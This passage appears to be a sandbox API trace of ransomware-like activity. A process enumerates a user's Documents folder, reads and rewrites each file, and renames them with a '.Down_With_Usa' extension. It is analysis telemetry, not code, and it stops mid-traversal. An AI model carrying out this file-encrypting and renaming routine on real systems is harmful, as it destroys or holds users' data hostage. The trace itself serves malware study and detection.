[0120.355] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd59392e0, ftCreationTime.dwHighDateTime=0x1d5dc15, ftLastAccessTime.dwLowDateTime=0x370a0080, ftLastAccessTime.dwHighDateTime=0x1d5e667, ftLastWriteTime.dwLowDateTime=0x370a0080, ftLastWriteTime.dwHighDateTime=0x1d5e667, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.355] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ddafb0, ftCreationTime.dwHighDateTime=0x1d5e0f5, ftLastAccessTime.dwLowDateTime=0xe77580d0, ftLastAccessTime.dwHighDateTime=0x1d5e0f3, ftLastWriteTime.dwLowDateTime=0xe77580d0, ftLastWriteTime.dwHighDateTime=0x1d5e0f3, nFileSizeHigh=0x0, nFileSizeLow=0x7171, dwReserved0=0x0, dwReserved1=0x0, cFileName="33JhTM7RVR.csv", cAlternateFileName="33JHTM~1.CSV")) returned 1
[0120.355] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcef3f8c0, ftCreationTime.dwHighDateTime=0x1d5e436, ftLastAccessTime.dwLowDateTime=0xcff76b80, ftLastAccessTime.dwHighDateTime=0x1d5e274, ftLastWriteTime.dwLowDateTime=0xcff76b80, ftLastWriteTime.dwHighDateTime=0x1d5e274, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DKRIfWY4u6u", cAlternateFileName="DKRIFW~1")) returned 1
[0120.355] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f1d640, ftCreationTime.dwHighDateTime=0x1d5e773, ftLastAccessTime.dwLowDateTime=0x61e8f940, ftLastAccessTime.dwHighDateTime=0x1d5d8c6, ftLastWriteTime.dwLowDateTime=0x61e8f940, ftLastWriteTime.dwHighDateTime=0x1d5d8c6, nFileSizeHigh=0x0, nFileSizeLow=0x18498, dwReserved0=0x0, dwReserved1=0x0, cFileName="nVmA.pps", cAlternateFileName="")) returned 1
[0120.355] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f082370, ftCreationTime.dwHighDateTime=0x1d5e7c0, ftLastAccessTime.dwLowDateTime=0xe3b37930, ftLastAccessTime.dwHighDateTime=0x1d5d8c3, ftLastWriteTime.dwLowDateTime=0xe3b37930, ftLastWriteTime.dwHighDateTime=0x1d5d8c3, nFileSizeHigh=0x0, nFileSizeLow=0x18f07, dwReserved0=0x0, dwReserved1=0x0, cFileName="SXx5.ppt", cAlternateFileName="")) returned 1
[0120.355] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0120.355] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0120.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0120.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.356] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB", lpFilePart=0x0) returned 0x34
[0120.356] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\", lpFilePart=0x0) returned 0x35
[0120.356] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd59392e0, ftCreationTime.dwHighDateTime=0x1d5dc15, ftLastAccessTime.dwLowDateTime=0x370a0080, ftLastAccessTime.dwHighDateTime=0x1d5e667, ftLastWriteTime.dwLowDateTime=0x370a0080, ftLastWriteTime.dwHighDateTime=0x1d5e667, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.356] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd59392e0, ftCreationTime.dwHighDateTime=0x1d5dc15, ftLastAccessTime.dwLowDateTime=0x370a0080, ftLastAccessTime.dwHighDateTime=0x1d5e667, ftLastWriteTime.dwLowDateTime=0x370a0080, ftLastWriteTime.dwHighDateTime=0x1d5e667, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.356] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ddafb0, ftCreationTime.dwHighDateTime=0x1d5e0f5, ftLastAccessTime.dwLowDateTime=0xe77580d0, ftLastAccessTime.dwHighDateTime=0x1d5e0f3, ftLastWriteTime.dwLowDateTime=0xe77580d0, ftLastWriteTime.dwHighDateTime=0x1d5e0f3, nFileSizeHigh=0x0, nFileSizeLow=0x7171, dwReserved0=0x0, dwReserved1=0x0, cFileName="33JhTM7RVR.csv", cAlternateFileName="33JHTM~1.CSV")) returned 1
[0120.356] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcef3f8c0, ftCreationTime.dwHighDateTime=0x1d5e436, ftLastAccessTime.dwLowDateTime=0xcff76b80, ftLastAccessTime.dwHighDateTime=0x1d5e274, ftLastWriteTime.dwLowDateTime=0xcff76b80, ftLastWriteTime.dwHighDateTime=0x1d5e274, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DKRIfWY4u6u", cAlternateFileName="DKRIFW~1")) returned 1
[0120.356] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f1d640, ftCreationTime.dwHighDateTime=0x1d5e773, ftLastAccessTime.dwLowDateTime=0x61e8f940, ftLastAccessTime.dwHighDateTime=0x1d5d8c6, ftLastWriteTime.dwLowDateTime=0x61e8f940, ftLastWriteTime.dwHighDateTime=0x1d5d8c6, nFileSizeHigh=0x0, nFileSizeLow=0x18498, dwReserved0=0x0, dwReserved1=0x0, cFileName="nVmA.pps", cAlternateFileName="")) returned 1
[0120.356] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f082370, ftCreationTime.dwHighDateTime=0x1d5e7c0, ftLastAccessTime.dwLowDateTime=0xe3b37930, ftLastAccessTime.dwHighDateTime=0x1d5d8c3, ftLastWriteTime.dwLowDateTime=0xe3b37930, ftLastWriteTime.dwHighDateTime=0x1d5d8c3, nFileSizeHigh=0x0, nFileSizeLow=0x18f07, dwReserved0=0x0, dwReserved1=0x0, cFileName="SXx5.ppt", cAlternateFileName="")) returned 1
[0120.357] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f082370, ftCreationTime.dwHighDateTime=0x1d5e7c0, ftLastAccessTime.dwLowDateTime=0xe3b37930, ftLastAccessTime.dwHighDateTime=0x1d5d8c3, ftLastWriteTime.dwLowDateTime=0xe3b37930, ftLastWriteTime.dwHighDateTime=0x1d5d8c3, nFileSizeHigh=0x0, nFileSizeLow=0x18f07, dwReserved0=0x0, dwReserved1=0x0, cFileName="SXx5.ppt", cAlternateFileName="")) returned 0
[0120.357] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0120.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0120.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv", lpFilePart=0x0) returned 0x43
[0120.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0120.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\33jhtm7rvr.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0120.358] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x7171
[0120.358] ReadFile (in: hFile=0x3a8, lpBuffer=0x2740b00, nNumberOfBytesToRead=0x7171, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x2740b00*, lpNumberOfBytesRead=0x2eb8d8*=0x7171, lpOverlapped=0x0) returned 1
[0120.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv", lpFilePart=0x0) returned 0x43
[0120.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0120.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\33jhtm7rvr.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0120.400] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv", lpFilePart=0x0) returned 0x43
[0120.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv.Down_With_Usa", lpFilePart=0x0) returned 0x51
[0120.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0120.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\33jhtm7rvr.csv"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ddafb0, ftCreationTime.dwHighDateTime=0x1d5e0f5, ftLastAccessTime.dwLowDateTime=0xe77580d0, ftLastAccessTime.dwHighDateTime=0x1d5e0f3, ftLastWriteTime.dwLowDateTime=0x24389400, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x7180)) returned 1
[0120.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0120.401] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\33jhtm7rvr.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\33JhTM7RVR.csv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\33jhtm7rvr.csv.down_with_usa")) returned 1
[0120.401] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps", lpFilePart=0x0) returned 0x3d
[0120.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0120.402] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\nvma.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0120.402] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x18498
[0120.403] ReadFile (in: hFile=0x3a8, lpBuffer=0x150dbba8, nNumberOfBytesToRead=0x18498, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x150dbba8*, lpNumberOfBytesRead=0x2eb8d8*=0x18498, lpOverlapped=0x0) returned 1
[0120.438] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps", lpFilePart=0x0) returned 0x3d
[0120.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0120.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\nvma.pps"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0120.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps", lpFilePart=0x0) returned 0x3d
[0120.443] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps.Down_With_Usa", lpFilePart=0x0) returned 0x4b
[0120.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0120.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\nvma.pps"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33f1d640, ftCreationTime.dwHighDateTime=0x1d5e773, ftLastAccessTime.dwLowDateTime=0x61e8f940, ftLastAccessTime.dwHighDateTime=0x1d5d8c6, ftLastWriteTime.dwLowDateTime=0x243fb820, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x184a0)) returned 1
[0120.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0120.443] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\nvma.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\nVmA.pps.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\nvma.pps.down_with_usa")) returned 1
[0120.444] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt", lpFilePart=0x0) returned 0x3d
[0120.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0120.444] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\sxx5.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0120.444] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x18f07
[0120.445] ReadFile (in: hFile=0x3a8, lpBuffer=0x1516d838, nNumberOfBytesToRead=0x18f07, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x1516d838*, lpNumberOfBytesRead=0x2eb8d8*=0x18f07, lpOverlapped=0x0) returned 1
[0120.491] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt", lpFilePart=0x0) returned 0x3d
[0120.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0120.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\sxx5.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0120.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt", lpFilePart=0x0) returned 0x3d
[0120.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt.Down_With_Usa", lpFilePart=0x0) returned 0x4b
[0120.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0120.499] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\sxx5.ppt"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f082370, ftCreationTime.dwHighDateTime=0x1d5e7c0, ftLastAccessTime.dwLowDateTime=0xe3b37930, ftLastAccessTime.dwHighDateTime=0x1d5d8c3, ftLastWriteTime.dwLowDateTime=0x2446dc40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18f10)) returned 1
[0120.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0120.499] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\sxx5.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\SXx5.ppt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5ehfu7t1e3tb\\sxx5.ppt.down_with_usa")) returned 1
[0120.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0120.500] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u", lpFilePart=0x0) returned 0x40
[0120.500] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\", lpFilePart=0x0) returned 0x41
[0120.500] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcef3f8c0, ftCreationTime.dwHighDateTime=0x1d5e436, ftLastAccessTime.dwLowDateTime=0xcff76b80, ftLastAccessTime.dwHighDateTime=0x1d5e274, ftLastWriteTime.dwLowDateTime=0xcff76b80, ftLastWriteTime.dwHighDateTime=0x1d5e274, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.501] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcef3f8c0, ftCreationTime.dwHighDateTime=0x1d5e436, ftLastAccessTime.dwLowDateTime=0xcff76b80, ftLastAccessTime.dwHighDateTime=0x1d5e274, ftLastWriteTime.dwLowDateTime=0xcff76b80, ftLastWriteTime.dwHighDateTime=0x1d5e274, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.501] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x694519c0, ftCreationTime.dwHighDateTime=0x1d5e105, ftLastAccessTime.dwLowDateTime=0xad4658c0, ftLastAccessTime.dwHighDateTime=0x1d5de56, ftLastWriteTime.dwLowDateTime=0xad4658c0, ftLastWriteTime.dwHighDateTime=0x1d5de56, nFileSizeHigh=0x0, nFileSizeLow=0x7372, dwReserved0=0x0, dwReserved1=0x0, cFileName="hNBOrTfGS9W0wv.doc", cAlternateFileName="HNBORT~1.DOC")) returned 1
[0120.501] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0120.501] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0120.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0120.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0120.501] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u", lpFilePart=0x0) returned 0x40
[0120.501] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\DKRIfWY4u6u\\", lpFilePart=0x0) returned 0x41
